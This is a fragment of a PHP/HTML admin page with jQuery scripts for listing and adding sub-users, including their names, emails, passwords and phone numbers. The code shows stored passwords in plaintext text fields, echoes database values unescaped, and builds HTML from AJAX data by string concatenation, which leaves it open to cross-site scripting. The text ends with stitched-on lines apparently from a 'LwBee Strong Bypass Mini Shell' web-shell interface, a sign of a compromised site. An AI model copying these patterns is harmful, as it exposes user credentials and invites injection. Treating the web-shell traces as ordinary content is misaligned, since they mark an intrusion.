                            <div class="row">
                                <div class="col-lg-12 col-md-12"> 
                                    <div class="col-lg-2 col-md-2">
                                        <input class="form-control" readonly name="firstName" type="text" value="<?php echo $instUserRec['firstName']; ?>" >
                                    </div>
                                    <div class="col-lg-2 col-md-2">
                                        <input class="form-control" readonly name="lastName" type="text" value="<?php echo $instUserRec['lastName']; ?>">
                                    </div>
                                    <div class="col-lg-4 col-md-4">
                                        <input class="form-control" readonly type="text" name="mailId" value="<?php echo $instUserRec['mailId']; ?>">
                                    </div>
                                    <div class="col-lg-2 col-md-2">
                                        <input class="form-control" readonly name="password" type="text" value="<?php echo $instUserRec['password']; ?>">
                                    </div>
                                    <div class="col-lg-2 col-md-2">
                                        <input class="form-control" readonly type="text" name="phoneNo" value="<?php echo $instUserRec['phoneNo']; ?>">
                                    </div>
                                </div> 
                            </div><br>
                        </div> 
                            <div id="subUserList">
                            </div>
                           <div id="rowData">
                            </div><br><br>  
                       <?php } ?> 
                        </div>
                     </div>
                  </div> 
               </div> 
            </div>
          </div> 
   <?php include 'footer.php' ?> 


     <script type="text/javascript">
     $(document).ready(function() {  
     var instId = $("#instanceId").val(); 
         $("#subUserList").empty();
           $.ajax({
          url: 'getUserRec.php',
          type: 'post',
          data: {instId:instId},
          dataType: 'json',
          success:function(data){
             var len = data.length;
             for(var x = 0; x<len; x++){  
                 var id = data[x]['id'];
                 var firstName = data[x]['firstName'];
                 var lastName = data[x]['lastName'];
                 var instanceId = data[x]['instanceId'];
                 var mailId = data[x]['mailId'];
                 var password = data[x]['password']; 
                 var phoneNo = data[x]['phoneNo'];
                 var countUser = data[x]['countUser'];  
                $(".countUser").val(countUser);
                $("#countUser").text(countUser);  
                 // $("#subUserList").append('<div class="row"><div class="col-lg-12 col-md-12"><form method="post" action=""><div class="col-lg-2 col-md-2"><input class="form-control" id="firstName" name="firstName" type="text" <?php if($edit == false && $changeId != '' ){ ?> disabled <?php } ?> value="'+firstName+'" ></div><div class="col-lg-2 col-md-2"><input class="form-control" name="lastName" type="text" value="'+lastName+'"></div><div class="col-lg-3 col-md-3"><input class="form-control" type="text" name="mailId" value="'+mailId+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="password" type="text" value="'+password+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" type="text" name="phoneNo" value="'+phoneNo+'" ></div><div class="col-lg-1 col-md-1"><input class="form-control" name="id" type="hidden" value="'+id+'"> <button <?php if($edit == false){ ?> name="edit" <?php } else { ?>  name="update"  <?php } ?>  class="btn btn-primary mx-auto d-block"><?php if($edit == false){ ?> Edit <?php } else { ?>  Update  <?php } ?></button></div></form></div></div><br>');  

                $("#subUserList").append('<div class="row"><div class="col-lg-12 col-md-12"><form method="post" action="addInstEdit.php"><div class="col-lg-2 col-md-2"><input class="form-control" id="firstName" readonly name="firstName" type="text" value="'+firstName+'" ></div><div class="col-lg-2 col-md-2"><input class="form-control" name="lastName" type="text" readonly value="'+lastName+'"></div><div class="col-lg-3 col-md-3"><input class="form-control" type="text" name="mailId" readonly value="'+mailId+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="password" type="text" readonly value="'+password+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" type="text" name="phoneNo" readonly value="'+phoneNo+'" ></div><div class="col-lg-1 col-md-1"><input class="form-control" name="id" type="hidden" value="'+id+'"> <button class="btn btn-primary mx-auto d-block"> Edit </button></div></form></div></div><br>');
             }
          }   

      }); 

            $("#addRowbutton, #totalUsers").on("click change", function() { 
              var userTotal = $('#totalUsers').val();
              var countUser1 = $('.countUser').val(); 
              var balUser = userTotal-countUser1-1;

              var adminId = $('#adminId').val();
              var partnerId = $('#partnerId').val();
              var userId = $('#userId').val();
              var instanceId = $('#instanceId').val();


             var html = '<form method="post"><div class="row"><div class="col-lg-12 col-md-12"><div class="col-lg-2 col-md-2"><input name="instanceId" value="'+instanceId+'" type="hidden"><input name="adminId" value="'+adminId+'" type="hidden"><input name="partnerId" value="'+partnerId+'" type="hidden"><input class="form-control" name="userId" value="'+userId+'" type="hidden"><input class="form-control" name="firstName" required type="text" placeholder = "ENTER FIRSTNAME"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="lastName" type="text" required placeholder = "ENTER LASTNAME"></div><div class="col-lg-4 col-md-4"><input class="form-control" required type="text" name="mailId" placeholder = "ENTER MAIL ID"></div><div class="col-lg-2 col-md-2"><input class="form-control" required name="password" type="text" placeholder = "ENTER PASSWORD"></div><div class="col-lg-2 col-md-2"><input class="form-control" required type="text" name="phoneNo" nospace onkeypress="return isNumber(event)" maxlength="10" placeholder = "ENTER PHONE NO"></div></div><div class="col-lg-12 col-md-12"><br><center><button class="btn btn-success" name="add" value="submit">Add</button></center></div></div></form>'; 
                $("#rowData").append(html);  
                $("#totalUser").val(userTotal);  
                $(".balUser").text(balUser);  
                $('#addRowbutton').hide(); 
            });  
          }); 

</script>  

   <script type="text/javascript">
     $(document).ready(function() {
    $("#dateofcreation, #instancePeriod").on('change keyup', function(){ 
    var startDate = $("#dateofcreation").val();
    var monthPeriod = $("#instancePeriod").val(); 
    var setDate = new Date(startDate); 
    var endDate  = setDate.setMonth(setDate.getMonth()+ +monthPeriod); 
    var endDateNew = new Date(endDate);  
    var dd = String(endDateNew.getDate()).padStart(2,'0'); 
    var mm =  endDateNew.toLocaleString('en-US', { month: 'short' }); 
    var yyyy = endDateNew.getFullYear(); 
    endDateNewF = dd + '-' + mm + '-' + yyyy;  
    $("#instanceExpiryDate").val(endDateNewF); 
  }); 
    
         // i=0;
            //$("#addRowbutton, #totalUsers").on("click change", function() {  
             // var userTotal = $('#totalUsers').val();
            //  var adminId = $('#adminId').val();
             // var partnerId = $('#partnerId').val();
              //var userId = $('#userId').val();
              //var instanceId = $('#instanceId').val(); 
             // i++;    
            // var html = '<form method="post"><div class="row"><div class="col-lg-12 col-md-12"><div class="col-lg-2 col-md-2"><input class="form-control" readonly type="text" value="'+i+'"></div><div class="col-lg-2 col-md-2"><input name="instanceId" value="'+instanceId+'" type="hidden"><input name="adminId" value="'+adminId+'" type="hidden"><input name="partnerId" value="'+partnerId+'" type="hidden"><input class="form-control" name="userId" value="'+userId+'" type="hidden"><input class="form-control" name="firstName" type="text" placeholder = "ENTER FIRSTNAME"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="lastName" type="text" placeholder = "ENTER LASTNAME"></div><div class="col-lg-2 col-md-2"><input class="form-control" type="text" name="mailId" placeholder = "ENTER MAIL ID"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="password" type="text" placeholder = "ENTER PASSWORD"></div><div class="col-lg-2 col-md-2"><input class="form-control" type="text" name="phoneNo" nospace onkeypress="return isNumber(event)" maxlength="10" placeholder = "ENTER PHONE NO"></div></div><div class="col-lg-12 col-md-12"><br><center><button class="btn btn-success" name="add" value="submit">Add</button></center></div</div></form>'; 
              //  $("#rowData").append(html);  
                //$("#totalUser").val(userTotal);  
                //$('#addRowbutton').hide(); 
            // });  
          }); 

</script> 

    <script type="text/javascript">
   const togglePassword = document.querySelector('#togglePassword');
  const password = document.querySelector('#id_password');

  togglePassword.addEventListener('click', function (e) {
    // toggle the type attribute
    const type = password.getAttribute('type') === 'password' ? 'text' : 'password';
    password.setAttribute('type', type);
    // toggle the eye slash icon
    this.classList.toggle('fa-eye-slash');
});

  </script>

   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css">

         <script>
      $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
      function isNumber(evt,ref,len)
        {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support

        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
            }
        return true;
             }
   </script>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File